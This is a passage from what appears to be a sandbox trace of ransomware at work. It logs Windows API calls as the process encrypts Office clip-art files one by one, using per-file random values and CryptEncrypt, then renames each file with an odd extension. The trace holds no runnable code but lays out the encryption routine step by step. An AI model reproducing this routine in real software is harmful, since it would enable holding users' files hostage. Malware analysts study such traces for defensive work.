lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.901] SetEndOfFile (hFile=0x130) returned 1 [0200.902] GetProcessHeap () returned 0x990000 [0200.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.902] GetProcessHeap () returned 0x990000 [0200.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.kjhslgjkjdfg")) returned 1 [0200.904] CloseHandle (hObject=0x130) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0200.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.905] GetProcessHeap () returned 0x990000 [0200.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.905] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.905] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.908] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.908] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.908] GetProcessHeap () returned 0x990000 [0200.908] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.908] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.908] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.908] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.908] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.908] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.908] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.908] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.908] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.908] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.908] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17be, lpOverlapped=0x0) returned 1 [0200.909] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0) returned 1 [0200.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.909] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17c0, lpOverlapped=0x0) returned 1 [0200.910] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.910] SetEndOfFile (hFile=0x130) returned 1 [0200.912] GetProcessHeap () returned 0x990000 [0200.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.912] GetProcessHeap () returned 0x990000 [0200.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.kjhslgjkjdfg")) returned 1 [0200.913] CloseHandle (hObject=0x130) returned 1 [0200.913] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0200.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.915] GetProcessHeap () returned 0x990000 [0200.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.917] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.917] GetProcessHeap () returned 0x990000 [0200.917] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.917] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.917] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.917] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.917] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.917] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.917] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.918] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x37de, lpOverlapped=0x0) returned 1 [0200.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x37e0, dwBufLen=0x37e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x37e0) returned 1 [0200.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.919] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x37e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x37e0, lpOverlapped=0x0) returned 1 [0200.919] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.919] SetEndOfFile (hFile=0x130) returned 1 [0200.921] GetProcessHeap () returned 0x990000 [0200.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.921] GetProcessHeap () returned 0x990000 [0200.922] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.kjhslgjkjdfg")) returned 1 [0200.923] CloseHandle (hObject=0x130) returned 1 [0200.923] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0200.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.924] GetProcessHeap () returned 0x990000 [0200.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.924] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.924] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.924] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.924] GetProcessHeap () returned 0x990000 [0200.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.924] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.924] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.924] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.926] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.927] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.927] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6180, lpOverlapped=0x0) returned 1 [0200.939] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6180, dwBufLen=0x6180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6180) returned 1 [0200.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.940] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6180, lpOverlapped=0x0) returned 1 [0200.940] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.940] SetEndOfFile (hFile=0x130) returned 1 [0200.942] GetProcessHeap () returned 0x990000 [0200.942] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.942] GetProcessHeap () returned 0x990000 [0200.942] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.kjhslgjkjdfg")) returned 1 [0200.944] CloseHandle (hObject=0x130) returned 1 [0200.944] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0200.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.946] GetProcessHeap () returned 0x990000 [0200.946] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.946] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.946] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0200.949] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.949] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.949] GetProcessHeap () returned 0x990000 [0200.949] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.949] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.949] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.949] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.949] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.949] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.950] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.950] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.950] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.950] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.950] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21b2, lpOverlapped=0x0) returned 1 [0200.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21c0, dwBufLen=0x21c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21c0) returned 1 [0200.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.952] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21c0, lpOverlapped=0x0) returned 1 [0200.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.952] SetEndOfFile (hFile=0x130) returned 1 [0200.955] GetProcessHeap () returned 0x990000 [0200.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.956] GetProcessHeap () returned 0x990000 [0200.956] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.kjhslgjkjdfg")) returned 1 [0200.957] CloseHandle (hObject=0x130) returned 1 [0200.957] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0200.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.959] GetProcessHeap () returned 0x990000 [0200.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 